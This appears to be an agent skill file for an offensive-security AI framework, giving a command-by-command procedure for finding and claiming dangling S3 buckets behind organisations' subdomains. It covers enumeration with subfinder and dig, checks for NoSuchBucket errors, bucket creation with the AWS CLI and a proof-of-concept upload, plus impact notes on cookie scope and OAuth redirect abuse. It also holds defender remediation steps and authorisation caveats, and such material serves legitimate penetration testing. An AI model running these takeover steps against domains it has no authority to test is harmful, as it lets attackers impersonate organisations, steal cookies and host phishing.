s3-takeover - SKILL.md Agent Skill

name: s3-takeover description: Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists). metadata: subdomain: cloud when_to_use: "s3 bucket takeover dangling cname" mitre_attack: - T1584.006 - T1583.006

S3 Subdomain Takeover

When a subdomain has a CNAME to an S3 hostname (e.g. assets.example.com → assets-example.s3.amazonaws.com) but the bucket no longer exists, anyone can register that bucket name and serve content from the subdomain.

1. Enumerate subdomains pointing at S3

From recon SUMMARY.md, look for any CNAME containing:

s3.amazonaws.com
s3-website-<region>.amazonaws.com
s3.<region>.amazonaws.com
s3-website.<region>.amazonaws.com
<bucket>.s3.<region>.amazonaws.com
CloudFront/CDN distributions backed by S3 (.cloudfront.net)

Or run direct:

# Subdomain dump
subfinder -d example.com -silent > /tmp/subs.txt

# Check CNAMEs
for s in $(cat /tmp/subs.txt); do
  cname=$(dig +short CNAME "$s" 2>/dev/null | head -1)
  if echo "$cname" | grep -qE 's3.*amazonaws|cloudfront'; then
    echo "$s -> $cname"
  fi
done > /tmp/s3-candidates.txt

2. Verify dangling

For each candidate:

# Try to GET the subdomain - look for the S3 "NoSuchBucket" error
curl -s -o /tmp/r.html "https://$SUBDOMAIN/" -w '%{http_code}\n'
grep -E 'NoSuchBucket|BucketNotFound|<Code>NoSuchBucket</Code>' /tmp/r.html

# Or query the bucket name directly
BUCKET=$(echo "$CNAME" | awk -F'.' '{print $1}')
aws s3 ls "s3://$BUCKET/" --no-sign-request 2>&1
# "NoSuchBucket" / "The specified bucket does not exist" = dangling

Decepticon helper:

s3_takeover_check("<subdomain>")

3. Claim the bucket

# In the SAME region the CNAME implies
aws s3api create-bucket \
  --bucket "$BUCKET" \
  --region us-east-1 \
  --create-bucket-configuration LocationConstraint=us-east-1
# (us-east-1 omits the LocationConstraint)

Race conditions:

AWS sometimes blocks names of recently-deleted buckets (cooldown). If it errors with "BucketAlreadyExists" or "Bucket name reserved", the takeover window has closed (or is gated).
For high-value targets, attempt in different regions — some CNAMEs don't specify region and AWS DNS resolves to whichever region you create the bucket in.

4. Demonstrate impact (safe)

Static page proof (engagement context — get explicit permission first):

echo '<h1>S3 subdomain takeover PoC</h1><p>Demonstrated by ENGAGEMENT-ID</p>' > /tmp/index.html
aws s3 cp /tmp/index.html "s3://$BUCKET/index.html"
aws s3 website "s3://$BUCKET/" --index-document index.html

# Now curl https://$SUBDOMAIN/ returns your content

DO NOT:

Serve actual exploit content (XSS, drive-by, phishing)
Capture cookies even though you can (same-origin to the org)
Leave the bucket up post-engagement

DO:

Take a timestamped screenshot of your benign content served from the subdomain
Hand the bucket name over to defender for transfer / cooldown
Delete the bucket after PoC: aws s3 rb "s3://$BUCKET" --force

5. Impact framing

A claimed S3 bucket on an org subdomain gives:

Same-origin scripting vs every page on that subdomain
Cookie access for cookies scoped to the parent domain (.example.com)
OAuth redirect_uri abuse if the subdomain is a registered redirect
MITM-class trust — orgs publish links to the subdomain assuming control
TLS is "free" via the org's own ACM cert if Route 53 + ACM are configured, otherwise it's an HTTP-only takeover (still bad)

6. Promote

kg_add_node(kind="vulnerability", label="S3 takeover: <subdomain>",
            props={"severity":"high","bucket":"<bucket>","region":"<region>"})
kg_add_edge(src=<vuln>, dst=<crown_jewel:org-domain>, kind="grants-impersonation")

CVSS

Subdomain with active OAuth flow / cookie scope: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N = 8.7
Static-content subdomain only: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N = 7.5
Subdomain with no apparent purpose (unused): Medium 5-6

Defender remediation

# Find every S3 CNAME the org publishes
aws route53 list-hosted-zones --query 'HostedZones[].Id' --output text | \
  xargs -I{} aws route53 list-resource-record-sets --hosted-zone-id {} \
  --query 'ResourceRecordSets[?Type==`CNAME`]' --output json > /tmp/cnames.json

# Cross-check against existing buckets
jq -r '.[] | select(.ResourceRecords[].Value | test("s3.*amazonaws")) | .Name' /tmp/cnames.json | \
  while read sd; do
    bucket=$(dig +short CNAME "$sd" | head -1 | sed 's/.s3.*//; s/.$//')
    aws s3api head-bucket --bucket "$bucket" 2>&1 | grep -q "Not Found" && echo "DANGLING: $sd -> $bucket"
  done

Known exemplars

2017: Uber subdomain takeover via S3 → reported via H1, $7.5k
2020: Multiple Tesla-owned subdomains pointed at deleted S3 buckets
2022: Detectify scan found 350+ Fortune-500 dangling S3 records
Pattern: M&A acquisitions where the acquired company's cloud assets aren't transferred properly